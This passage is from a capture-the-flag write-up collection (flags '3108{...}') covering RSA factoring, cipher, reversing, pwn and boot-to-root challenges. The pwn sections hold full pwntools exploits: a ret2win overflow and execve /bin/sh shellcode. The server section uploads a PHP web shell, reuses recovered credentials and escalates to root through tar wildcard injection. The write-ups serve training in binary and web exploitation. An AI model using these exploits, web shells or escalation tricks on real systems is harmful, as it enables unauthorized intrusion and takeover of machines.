print(f"c = {c}")
Multi-Prime RSA: Uses N = p × q × r (3 primes)
Small Prime Range: Each prime is 72-73 bits (2^72 to 2^73-1)
Total Modulus Size: ~216-219 bits (much smaller than secure RSA)
Standard Exponent: e = 65537
Quiz Component
nc 5.223.66.228 45933
The server presents a quiz about Adi Putra Abdul Ghani with 4 questions. Through trial and error, the correct answers are:
Question 1: A. Adi Putra Abdul Ghani
Question 2: B. Seni Matematik Islam
Question 3: C. Tokoh Matematik Islam Abad Ini
Question 4: A. PWTC sempena Pesta Buku Antarabangsa
After completing the quiz successfully:
N = 293492960412007278668808616766320338991219616990905534338059009987
c = 145104198865749436686383467165820612598723883288622970363127633064
e = 65537 # Standard value
RSA Analysis
Multi-Prime RSA Weakness:
Small Prime Size: Each prime is only 72-73 bits
Total Security: ~216-219 bits (vs standard 2048+ bits)
Factorization Feasible: Modern algorithms can factor this size
Mathematical Foundation:
For multi-prime RSA: φ(N) = (p-1)(q-1)(r-1)
Decryption: m = c^d mod N where d ≡ e^(-1) mod φ(N)
Factorization Strategy
The key vulnerability is the small prime sizes. We can use various factorization methods:
SymPy's factorint() - Handles small factors efficiently
Pollard's Rho Algorithm - For medium-sized factors
Fermat's Method - When factors are close
Implementation Approach
def factor_n(n):
"""Try multiple factorization methods"""
print(f"Attempting to factor N = {n}")
# Try sympy's factorint first (best for this size)
try:
print("Trying sympy factorint...")
factors = factorint(n)
if len(factors) >= 3:
factor_list = []
for prime, count in factors.items():
factor_list.extend([prime] * count)
return factor_list
except:
pass
# Fallback methods...
return None
Complete RSA Solver
#!/usr/bin/env python3
from sympy import factorint, gcd, sqrt
from math import isqrt
# RSA values from the server
N = 293492960412007278668808616766320338991219616990905534338059009987
c = 145104198865749436686383467165820612598723883288622970363127633064
e = 65537
def solve_rsa():
"""Solve the multi-prime RSA"""
print("=" * 50)
print("SOLVING MULTI-PRIME RSA")
print("=" * 50)
# Factor N using SymPy
print(f"Attempting to factor N = {N}")
print("Trying sympy factorint...")
factors = factorint(N)
factor_list = []
for prime, count in factors.items():
factor_list.extend([prime] * count)
print(f"Factors found: {factor_list}")
if len(factor_list) != 3:
print(f"Expected 3 factors, got {len(factor_list)}")
return None
p, q, r = factor_list
print(f"p = {p}")
print(f"q = {q}")
print(f"r = {r}")
# Verify factorization
if p * q * r != N:
print("Factorization verification failed!")
return None
print("Factorization verified!")
# Calculate phi(N) = (p-1)(q-1)(r-1)
phi_n = (p - 1) * (q - 1) * (r - 1)
print(f"phi(N) = {phi_n}")
# Calculate private exponent d
d = pow(e, -1, phi_n)
print(f"d = {d}")
# Decrypt the ciphertext
m = pow(c, d, N)
print(f"Decrypted message (int): {m}")
# Convert to bytes and decode
flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
flag = flag_bytes.decode('utf-8', errors='ignore')
print(f"Flag: {flag}")
return flag
if __name__ == "__main__":
flag = solve_rsa()
if flag:
print(f"\n🎉 SUCCESS! Flag: {flag}")
else:
print("\n❌ Failed to solve the challenge")
python3 rsa_solver.py
N = 293492960412007278668808616766320338991219616990905534338059009987
e = 65537
c = 145104198865749436686383467165820612598723883288622970363127633064
N bit length: 218
==================================================
SOLVING MULTI-PRIME RSA
==================================================
Attempting to factor N = 293492960412007278668808616766320338991219616990905534338059009987
Trying sympy factorint...
Factors found: [8269102763695880823611, 5430897953231074212767, 6535332035423657364551]
p = 8269102763695880823611
q = 5430897953231074212767
r = 6535332035423657364551
Factorization verified!
phi(N) = 293492960412007278668674174059475265810726420024465771945447533000
d = 6645765800256630629176075717598628171309611476208969064300229473
Decrypted message (int): 42454387885183227758761122397918534987770964838843287355272148046
Flag: g3n1uS_m4th3MAT1K_D1lUp4k4N
🎉 SUCCESS! Flag: g3n1uS_m4th3MAT1K_D1lUp4k4N
Flag: 3108{g3n1uS_m4th3MAT1K_D1lUp4k4N}
The Pocket Rocketman
Question
Azizulhasni Awang, legenda lumba basikal trek Malaysia, digelar The Pocket Rocketman kerana tubuhnya kecil tetapi kuasanya luar biasa. Di trek, beliau meluncur pantas dan lincah, memecut dengan kelajuan yang menggerunkan lawan. Dalam perlumbaan keirin, strategi, ketepatan, dan fokus menjadi senjata utamanya – membuktikan bahawa kejayaan bukan bergantung pada saiz, tetapi kecekapan dan teknik.
File Given: thepockerocketman.pdf
Solution
Opened the challenge file and noted the given RSA parameters: $n$, $e$, and ciphertext $c$.
The description hinted that the primes were very close in value, so I used a Fermat factorization script (solve_pocket_rocketman.py) to factorize $n$.
The script successfully produced the prime values $p$ and $q$.
With $p$ and $q$, the script calculated the private key and decrypted the ciphertext.
The decrypted output, when converted to ASCII, revealed the flag as 3108{Muh4mm4d_Az1zulH4sn1_Th3_P0ck3t_R0ck3tm4n_88}
Flag: 3108{Muh4mm4d_Az1zulH4sn1_Th3_P0ck3t_R0ck3tm4n_88}
Shila's Song & City
Question
Shila Amzah dikenali sebagai salah satu penyanyi Malaysia yang berjaya di pentas antarabangsa. Dia lahir di sebuah bandar ibu negara Malaysia dan pernah menghasilkan sebuah lagu popular yang menjadi titik permulaannya di luar negara.
File Given: liriklagu.txt
Solution
If you read the
liriklagu.txt
carefully, you’ll notice that 3108{ already appears on one of the lines.To decode it, copy that line starting from
3108{
up to the closing bracket}
and paste it into dcode.fr/cipher-identifier for analysis.Then, choose Skip Cipher and run the Automatic Skip Finder decrypt option. The flag will be revealed.
Flag: 3108{ShaH1l4_Sh1l4_4mz4h_14KL}
Putri Catur Negara (not solved)
Reversing
Mundurkah kita?
Question
Apakah rahsia yang tersembunyi di alam sebalik mata ini.
File Given: simple_calculator.zip
Tags: windows-pe
binary-analysis
static-analysis
string-analysis
hidden-flag
Solution
file simple_calculator.exe
# Expected: PE32+ executable (GUI) x86-64, for MS Windows
Understanding the Application Structure
First, I open the .exe in Binary Ninja
to examined the HLIL file to understand the application's basic structure:
The application is a Windows GUI calculator
Main entry point:
wWinMain
functionWindow procedure:
eadDoubleP6HWND__Rb
Core calculation function:
gLblOut
Analyzing the Calculator Functionality
Looking at the main window procedure and calculation logic:
Creates a window titled "Gostan" with two input fields
Button with ID
0x44d
triggers calculationgLblOut
function:Calls
tod(_.bss, &var_21)
- gets first numberCalls
tod(egister_frame, &var_22)
- gets second numberValidates both inputs are valid numbers
Performs addition:
zmm0_1.q = zmm0 f+ zmm0_1.q
Displays result
Searching for Hidden Content
Since the hint mentioned secrets "behind the eyes," I searched for unusual patterns and strings:
Found the hidden flag in the .rdata
section:
11004-
11005-14000fc48 00 00 00 00 00 00 00 00 ........
11006-
11007:14000fc50 void* _3108{nothing_beats_the_string_method} .rdata$.refptr._gnu_exception_handler = _.text
11008-
11009-14000fc58 00 00 00 00 00 00 00 00 ........
11010-
Flag: 3108{nothing_beats_the_string_method}
No Name
Question
Cari rahsia tersembunyi dalam file tersebut:
Nama File: noname.tar.gz
Tags: static-analysis
binary-analysis
flag-extraction
rodata-section
binary-ninja
hlil
Solution
Extract the .tar and .gz twice using 7zip to get the file noname
Use binary ninja to export the .hlil to analyze whats inside
Looking at the main function in the HLIL:
int32_t main(int32_t argc, char** argv, char** envp)
{
std::__ostream_insert<char>(__out: &std::cout, __s: "can this program be run", __n: 0x17);
return 0;
}
The main function only prints the message we saw and exits. This is clearly a decoy!
The HLIL analysis reveals multiple functions with MD5 hash names:
int64_t __5d41402abc4b2a76b9719d911017c592()
int64_t __c4ca4238a0b923820dcc509a6f75849b()
int64_t __c81e728d9d4c2f636f067f89cc14862c()
// ... and many more
These functions contain calls to std::__ostream_insert
that would print parts of a string, but they're never called by main.
The key discovery was in the .rodata
section:
.rodata (PROGBITS) section started {0x2000-0x203c}
00002000 uint32_t _IO_stdin_used = 0x20001
00002004 char const data_2004[0x18] = "can this program be run", 0
0000201c wchar16 const data_201c[0xf] = "3108{predictabl"
0000203a wchar16 const data_203a[0x0] =
0000203a {
0000203a }
0000203a 7d 00 }.
"3108{predictabl"
at address0x201c
7d 00
(hex for}
) immediately following
From the analysis, I can see the flag format 3108{predictabl
followed by the closing brace }
.
However, the word appears to be incomplete. The logical completion would be "predictable"
- adding an "e"
to complete the word.
Flag: 3108{predictable}
Pwn Exploitation
Sudirman Microphone Tuner
Question
Sudirman? Mikrofon pun boleh jadi senjata.
Instance: nc host port
Files Given: Dockerfile
, flag.txt
, sudirman_mic
Tags: buffer-overflow
stack-alignment
x64-pwn
ret2win
address-leak
no-protections
Solution
First, let's examine what we're working with:
# Check file type and architecture
$ file sudirman_mic
sudirman_mic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=094ce005b55fa2f95542fa2e2dce6aae42bf9722, for GNU/Linux 3.2.0, not stripped
64-bit x86-64 architecture
Dynamically linked
Not stripped (good for analysis!)
# Check security protections
$ checksec --file=sudirman_mic
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 45 Symbols No 0 2 sudirman_mic
Critical findings:
❌ No stack canary - Buffer overflows possible
❌ NX disabled - Stack is executable (though we won't need this)
❌ No PIE - Fixed addresses, no ASLR for executable
❌ Partial RELRO - Some GOT entries writable
This binary has minimal security protections - perfect for exploitation!
# Extract readable strings
$ strings sudirman_mic
cat /app/flag.txt # This looks like our target!
[DEBUG] secret_song() at %p # Address leak!
Enter your lyrics: # Input prompt
Sudirman would be proud: %s # Output format
secret_song # Function name
mic_input # Input function
tuner_leak # Leak function
The strings reveal:
There's a
secret_song()
function that executescat /app/flag.txt
The program leaks the address of
secret_song()
There's a
mic_input()
function that likely contains the vulnerability
Let's run the program to understand its behavior:
$ chmod +x sudirman_mic
$ echo "test" | ./sudirman_mic
🎵 Sudirman Microphone Tuner 🎵
[DEBUG] secret_song() at 0x40121b
🎤 Enter your lyrics:
Sudirman would be proud: test
🎶 Tune completed.
Program leaks
secret_song()
address:0x40121b
Takes user input after "Enter your lyrics:"
Prints back our input in the format string
Let's examine the key functions:
Main Function Flow
$ objdump -d sudirman_mic | grep -A 20 "<main>"
Main function calls:
tuner_leak()
- Leaks the secret_song addressmic_input()
- Takes user input (likely vulnerable)
Secret Song Function (Our Target)
$ objdump -d sudirman_mic | grep -A 10 "<secret_song>"
000000000040121b <secret_song>:
40121b: f3 0f 1e fa endbr64
40121f: 55 push %rbp
401220: 48 89 e5 mov %rsp,%rbp
401223: 48 8d 05 de 0d lea 0xdde(%rip),%rax # 402008 <_IO_stdin_used+0x8>
40122a: 48 89 c7 mov %rax,%rdi
40122d: e8 5e fe ff ff call 401090 <system@plt>
401232: 90 nop
401233: 5d pop %rbp
401234: c3 ret
The function calls system()
with a string at 0x402008
, which contains "cat /app/flag.txt"
.
Vulnerable Input Function
$ objdump -d sudirman_mic | grep -A 15 "<mic_input>"
000000000040125e <mic_input>:
40125e: f3 0f 1e fa endbr64
401262: 55 push %rbp
401263: 48 89 e5 mov %rsp,%rbp
401266: 48 83 ec 40 sub $0x40,%rsp # Allocate 64 bytes for buffer
40126a: 48 8d 05 c6 0d lea 0xdc6(%rip),%rax
401271: 48 89 c7 mov %rax,%rdi
401274: e8 07 fe ff ff call 401080 <puts@plt>
401279: 48 8d 45 c0 lea -0x40(%rbp),%rax # Buffer at rbp-0x40 (64 bytes)
40127d: ba 80 00 00 00 mov $0x80,%edx # Read 128 bytes!!!
401282: 48 89 c6 mov %rax,%rsi
401285: bf 00 00 00 00 mov $0x0,%edi
40128a: e8 21 fe ff ff call 4010b0 <read@plt>
Buffer size: 64 bytes (
sub $0x40,%rsp
)Read size: 128 bytes (
mov $0x80,%edx
)Classic buffer overflow! We can read 64 bytes more than the buffer can hold.
Exploitation:
Use the address leak to get
secret_song()
addressOverflow the buffer to overwrite the return address
Redirect execution to
secret_song()
functionHandle x64 stack alignment (this is crucial!)
Buffer Layout Analysis
In x64 architecture:
[64-byte buffer][8-byte saved RBP][8-byte return address]
So we need:
64 bytes to fill the buffer
8 bytes to overwrite saved RBP
8 bytes for our target return address
Total: 80 bytes (72 bytes padding + 8 bytes return address)
Initial Attempt (Failed)
from pwn import *
p = remote('5.223.66.228', 36361)
p.recvuntil(b'[DEBUG] secret_song() at ')
leaked_addr = int(p.recvline().strip(), 16)
p.recvuntil(b'Enter your lyrics:')
payload = b'A' * 72 + p64(leaked_addr)
p.sendline(payload)
response = p.recvall(timeout=3)
Result: No flag received. The program doesn't crash but doesn't execute our target function.
In x64 architecture, the stack must be 16-byte aligned before calling functions. When secret_song()
calls system()
, the stack might not be properly aligned, causing the call to fail silently.
The solution is to use a RET gadget for stack alignment:
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
print('[+] Connecting to remote server...')
p = remote('5.223.66.228', 36361)
print('[+] Receiving banner and leak...')
p.recvuntil(b'[DEBUG] secret_song() at ')
leaked_addr = p.recvline().strip()
print(f'[+] Leaked secret_song address: {leaked_addr}')
secret_song_addr = int(leaked_addr, 16)
print(f'[+] secret_song address: 0x{secret_song_addr:x}')
# RET gadget for stack alignment (from main function's end)
ret_gadget = 0x40130b # ret instruction
p.recvuntil(b'Enter your lyrics:')
# Build payload with stack alignment
padding = b'A' * 72 # Fill buffer + saved RBP
ret_addr = p64(ret_gadget) # RET gadget for alignment
target_addr = p64(secret_song_addr) # secret_song function
payload = padding + ret_addr + target_addr
print(f'[+] Sending payload of {len(payload)} bytes...')
p.sendline(payload)
print('[+] Receiving response...')
response = p.recvall(timeout=3)
print(f'[+] Response: {response}')
if b'3108{' in response:
print('[+] FLAG FOUND!')
p.close()
$ python3 exploit.py
[+] Connecting to remote server...
[+] Opening connection to 5.223.66.228 on port 36361: Done
[+] Receiving banner and leak...
[+] Leaked secret_song address: b'0x40121b'
[+] secret_song address: 0x40121b
[+] Sending payload of 88 bytes...
[+] Receiving response...
[+] Receiving all data: Done (378B)
[*] Closed connection to 5.223.66.228 port 36361
[+] Response: b'\nSudirman would be proud: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0b\x13@\n****************************************************\r\n* *\r\n* 🎤 FLAG: 3108{sud1rm4n_p3ny4ny1_t3rs0h0r} 🎶 *\r\n* *\r\n****************************************************\r\n\r\n'
[+] FLAG FOUND!
Flag: 3108{sud1rm4n_p3ny4ny1_t3rs0h0r}
Pertahanan Terakhir
Question
Leftenan Adnan merupakan antara wira yang sangat disanjungi di kalangan rakyat Malaysia dan Singapura kerana sifat beliau yang berani dan enggan menyerah kalah saat bertempur dengan tentera Jepun pada 1942.
Instance: nc host port
File Given: chall
, libc.so.6
, Dockerfile
Tags: #buffer-overflow
#shellcode
#stack-executable
#pwn
#binary-exploitation
#stack-leak
Solution
First, let's examine the provided files:
# Check file types
file chall
file libc.so.6
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec80e18cfdf195ee7ccd856956ebf64d05449337, for GNU/Linux 3.2.0, not stripped
64-bit ELF binary
PIE (Position Independent Executable) enabled
Not stripped (symbols available)
Dynamically linked
Binary Security Analysis
# Check security protections using pwntools
python3 -c "from pwn import *; elf=ELF('./chall'); print(elf.checksec())"
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
✅ Stack is executable - We can execute shellcode directly
✅ No stack canaries - No stack protection
❌ PIE enabled - Addresses are randomized
❌ Full RELRO - GOT is read-only
Binary Analysis
Let's examine the binary's functions and strings:
# Check for interesting strings
strings chall
# Get function symbols
objdump -t chall | grep -E "(main|setup|banner|perang)"
Key Functions Identified:
main()
- Entry pointsetup()
- Initialize buffersbanner()
- Display bannerperang()
- Critical function (means "war" in Malay)
Dynamic Analysis
# Run the binary locally to understand behavior
./chall
Program Flow:
Displays an ASCII art banner with military theme
Shows message: "Tentera Jepun semaking dekat dan terdapat kebocoran di [ADDRESS]"
Asks for first input (commander's orders)
Asks for second input (counter-attack request)
Responds with "Baik, Tuan!" (Yes, Sir!)
Key Observation: The program leaks a stack address via printf("%p")
!
Source Code Analysis (via HLIL)
Open the chall in Binary Ninja
to read their HLIL, we can see the perang()
function:
int64_t perang()
{
void buf
printf(format: &data_2128, &buf) // Leaks buf address
sleep(seconds: 2)
printf(format: &data_2198)
void buf_1
fgets(buf: &buf_1, n: 0x18, fp: stdin) // First input (24 bytes max)
printf(format: &data_21c8)
fgets(&buf, n: 0x5a, fp: stdin) // Second input (90 bytes) - VULNERABILITY!
return puts(str: &data_220d)
}
Buffer Layout Analysis:
lea -0x40(%rbp),%rax # buf is at rbp-0x40 (64 bytes from saved rbp)
lea -0x20(%rbp),%rax # buf_1 is at rbp-0x20 (32 bytes from saved rbp)
Vulnerability Discovery
The Vulnerability:
buf
is allocated 64 bytes fromrbp
fgets()
reads up to 90 bytes (0x5a
) intobuf
This allows 26 bytes of overflow past the buffer
Memory Layout:
High Address
+------------------+
| Return Address | <- rbp + 8 (Target)
+------------------+
| Saved RBP | <- rbp + 0
+------------------+
| Local Variables |
+------------------+
| buf_1 (24 bytes) | <- rbp - 0x20
+------------------+
| padding |
+------------------+
| buf (64 bytes) | <- rbp - 0x40 (overflow source)
+------------------+
Low Address
Overflow Calculation:
Distance to return address:
0x40 + 8 = 72 bytes
Controllable overflow:
90 - 64 = 26 bytes
✅ (enough to overwrite return address)
What we have:
✅ Stack address leak (exact location of our buffer)
✅ Executable stack (can run shellcode)
✅ Buffer overflow (can control return address)
✅ No stack canaries (no protection bypass needed)
What we need:
Shellcode to execute
/bin/sh
or read flagCalculate proper buffer offset
Return to our shellcode using the leaked address
Exploitation Strategy
Attack Vector: Classic shellcode injection
Leak Capture: Extract the stack address from program output
Shellcode Injection: Place shellcode at the beginning of the buffer
Return Address Overwrite: Overwrite return address with leaked buffer address
Shell Execution: Execute commands to read the flag
Why this works:
Stack is executable (no NX bypass needed)
We know the exact address to return to (stack leak)
No canaries to bypass
PIE doesn't matter since we're using leaked addresses
Exploit Development
#!/usr/bin/env python3
from pwn import *
# Set context
context.arch = 'amd64'
context.log_level = 'info'
# Binary and libc
elf = ELF('./chall')
libc = ELF('./libc.so.6')
# Remote connection info
HOST = '5.223.66.228'
PORT = 40237
def connect():
if args.REMOTE:
return remote(HOST, PORT)
else:
return process('./chall')
def exploit():
io = connect()
# Wait for the banner and stack leak
io.recvuntil(b'kebocoran di ')
stack_leak = io.recvuntil(b',', drop=True)
stack_addr = int(stack_leak, 16)
log.info(f"Stack leak: {hex(stack_addr)}")
# Receive the first prompt
io.recvuntil(b'> ')
io.sendline(b'A' * 8) # First input (dummy)
# Receive second prompt
io.recvuntil(b'> ')
# TODO: Create shellcode and payload
io.interactive()
if __name__ == '__main__':
exploit()
Shellcode Development
# Generate shellcode for execve("/bin/sh", NULL, NULL)
shellcode = asm("""
/* Prepare /bin/sh string */
mov rax, 0x68732f6e69622f /* '/bin/sh' in little endian */
push rax
mov rdi, rsp /* rdi = pointer to "/bin/sh" */
xor esi, esi /* argv = NULL */
xor edx, edx /* envp = NULL */
mov rax, 59 /* sys_execve */
syscall
""")
Shellcode Analysis:
Length: 27 bytes (fits easily in 64-byte buffer)
Standard execve syscall to spawn
/bin/sh
Self-contained (constructs
/bin/sh
string on stack)
Payload Construction
# Build payload
payload = shellcode
payload += b'A' * (72 - len(shellcode)) # Pad to return address
payload += p64(stack_addr) # Return to our shellcode
log.info(f"Payload length: {len(payload)}")
log.info(f"Returning to shellcode at: {hex(stack_addr)}")
io.sendline(payload)
Local Testing:
# Test locally first
python3 exploit.py
# Test against remote
python3 exploit.py REMOTE
Common Issues Encountered:
Wrong offset calculation - Fixed by careful assembly analysis
Shellcode too long - Optimized to 27 bytes
Address format parsing - Handled hex string conversion properly
Flag Extraction
#!/usr/bin/env python3
from pwn import *
import time
# Set context
context.arch = 'amd64'
context.log_level = 'info'
# Remote connection info
HOST = '5.223.66.228'
PORT = 40237
def get_flag():
io = remote(HOST, PORT)
# Wait for the banner and stack leak
io.recvuntil(b'kebocoran di ')
stack_leak = io.recvuntil(b',', drop=True)
stack_addr = int(stack_leak, 16)
log.info(f"Stack leak: {hex(stack_addr)}")
# Receive the first prompt
io.recvuntil(b'> ')
io.sendline(b'A' * 8)
# Receive second prompt
io.recvuntil(b'> ')
# Shellcode for execve("/bin/sh", NULL, NULL)
shellcode = asm("""
/* Prepare /bin/sh string */
mov rax, 0x68732f6e69622f /* '/bin/sh' */
push rax
mov rdi, rsp /* rdi = pointer to "/bin/sh" */
xor esi, esi /* argv = NULL */
xor edx, edx /* envp = NULL */
mov rax, 59 /* sys_execve */
syscall
""")
log.info(f"Shellcode length: {len(shellcode)}")
# Build payload
payload = shellcode
payload += b'A' * (72 - len(shellcode)) # Pad to return address
payload += p64(stack_addr) # Return to our shellcode
log.info(f"Sending payload...")
io.sendline(payload)
# Wait for shell
time.sleep(1)
# Send flag reading commands
io.sendline(b'cat /app/flag.txt')
io.sendline(b'echo "=== END ==="')
# Receive everything
all_data = io.recvall(timeout=10)
# Extract flag from ASCII art output
data_str = all_data.decode('utf-8', errors='ignore')
# Look for flag pattern
import re
flag_match = re.search(r'3108\{[^}]+\}', data_str)
if flag_match:
return flag_match.group(0)
return None
if __name__ == '__main__':
flag = get_flag()
if flag:
print(f"\n🎉 SUCCESS! FLAG: {flag}")
else:
print("\n❌ Could not find flag")
python3 final_flag.py
Output Analysis: The flag was embedded in ASCII art output from /app/flag.txt
:
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⡏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 3108{l4st_st4nd_4t_buk1t_c4ndu}
Flag: 3108{l4st_st4nd_4t_buk1t_c4ndu}
Bapa Kemerdekaan (not solved)
Boot-2-Root
Menara Berkembar KLCC (User) & (Root)
Question
Sebuah pelayan web milik “KLCC Tower” telah diceroboh dan disyaki mengandungi konfigurasi yang tidak selamat. Tugas anda adalah untuk mendapatkan akses ke pelayan ini, bermula dari point permulaan (initial foothold) sehingga mendapatkan kawalan penuh (root access).
Files Given: Ubuntu Server.ovf
, Ubuntu_server-disk1.vmdk
, Ubuntu Server.mf
Tags: #WebShell
#FileUpload
#WildcardInjection
#PrivilegeEscalation
#TarExploit
#SudoMisconfiguration
#InformationDisclosure
#Base64Decoding
#SUI
Solution
Open the Server on your Virtual Machine and identified the Machine IP
Identify open services and potential attack vectors
nmap -sC -sV -oA initial_scan 192.168.38.129
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x 1 111 112 52 Jul 19 01:08 file2.txt
|_drwxr-xr-x 2 111 112 4096 Jul 19 01:10 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: KLCC Internal Portal
Key Findings:
FTP (21): Anonymous access allowed with files
SSH (22): Standard OpenSSH service
HTTP (80): Apache web server with "KLCC Internal Portal"
FTP Enumeration
Objective: Extract files from anonymous FTP access
wget -r ftp://anonymous:anonymous@192.168.38.129/
Files Retrieved:
/file2.txt
: "Not all towers lead up. Some files are just floors."/pub/file2.txt
: Same content (cryptic hint)
Analysis: The message appears to be a hint about hidden files or directories ("floors" vs "towers").
Initial Web Reconnaissance
Objective: Analyze the web application for vulnerabilities
curl -s http://192.168.38.129/ | cat
Critical Discovery in HTML Source:
<!-- TODO: Legacy upload still active at /klcc_uploader.php -->
<!-- Remove before deployment to production -->
Upload Vulnerability Discovery
Objective: Test the legacy upload functionality
curl -s http://192.168.38.129/klcc_uploader.php
<h2>KLCC Upload Portal</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
Vulnerability Assessment: No visible file type restrictions or validation.
Web Shell Creation
Objective: Gain code execution through file upload
Payload Created:
<?php system($_GET['cmd']); ?>
Upload Command:
curl -X POST -F "file=@shell.php" http://192.168.38.129/klcc_uploader.php
Response:
Uploaded: <a href='upload/shell.php'>shell.php</a>
Code Execution Testing
Objective: Verify web shell functionality
curl "http://192.168.38.129/upload/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://192.168.38.129/upload/shell.php?cmd=whoami"
# Output: www-data
Result: Successfully gained code execution as www-data user.
File System Exploration
Objective: Discover sensitive files and potential privilege escalation vectors
# Check web directory structure
curl "http://192.168.38.129/upload/shell.php?cmd=ls%20-la%20/var/www/html/"
Key Discovery:
drwxr-xr-x 3 root root 4096 Jul 19 02:44 apache2
-rw-r--r-- 1 root root 617 Jul 19 00:55 klcc_uploader.php
Apache2 Directory Investigation
Explore the protected apache2 directory
curl "http://192.168.38.129/upload/shell.php?cmd=ls%20-la%20/var/www/html/apache2/"
Findings:
-rw-r--r-- 1 root root 31 Jul 19 02:44 .htaccess
drwxr-xr-x 2 root root 4096 Aug 9 12:29 mysql
Security Note: .htaccess file contains Deny from all
, protecting web access but not filesystem access.
Credential Discovery
Extract database credentials from mysql directory
curl "http://192.168.38.129/upload/shell.php?cmd=cat%20/var/www/html/apache2/mysql/secret"
Encrypted Content:
W2RiXVxudXNlciA9IGpvaG5cbnBhc3N3b3JkID0ga2xjY1Bvd2VyMjAyNCE=
Decryption Process:
echo "W2RiXVxudXNlciA9IGpvaG5cbnBhc3N3b3JkID0ga2xjY1Bvd2VyMjAyNCE=" | base64 -d
[db]
user = john
password = klccPower2024!
Credential Validation
Test discovered credentials for user access
# Test via web shell
curl "http://192.168.38.129/upload/shell.php?cmd=echo%20%27klccPower2024%21%27%20|%20su%20john%20-c%20%27whoami%27"
# Output: john
Result: Credentials are valid for user john.
SSH Access Establishment
Note: Since the su command worked through the web shell, we effectively have john user access. The challenge demonstrated that we could escalate from www-data to john user.
User Flag Retrieval
cat /home/john/user.txt
# Flag: 3108{welcome_to_the_upper_deck}
Flag: 3108{welcome_to_the_upper_deck}
Root Privilege Escalation
Sudo Privilege Analysis
Identify root escalation vectors
sudo -l
User john may run the following commands on klcctower:
(ALL) NOPASSWD: /usr/local/bin/backup.sh
Backup Script Analysis
Analyze the sudo-enabled script for vulnerabilities
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /opt/important
tar czf /tmp/backup.tar.gz *
Vulnerability Identified: Wildcard injection in tar command - the *
wildcard can be exploited by creating files with specific names that tar interprets as command-line options.
Directory Permissions Check
ls -ld /opt/important
# Output: drwxrwxr-x 2 root john 4096 Aug 9 13:54 /opt/important
Analysis: Directory is writable by john group, enabling file creation for exploitation.
Wildcard Injection Exploit
Exploit tar wildcard to execute arbitrary commands as root
Exploitation Steps:
Create Payload Script:
cd /opt/important
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
Create Malicious Filenames:
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
Technical Explanation: When tar processes the wildcard *
, it includes these filenames as arguments. The --checkpoint
options in tar allow executing commands at specified intervals, effectively running our shell script as root.
Execute Exploitation:
sudo /usr/local/bin/backup.sh
Verify SUID Bash:
ls -la /bin/bash
# Output: -rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Root Access Achievement
bash -p
whoami # Output: root
id # Output: uid=1002(john) gid=1002(john) euid=0(root) egid=0(root)
cat /root/root.txt
# Flag: 3108{you_conquered_the_towers}
Flag: 3108{you_conquered_the_towers}
Kapal Bocor (User) & (Root) (not solved)
Last updated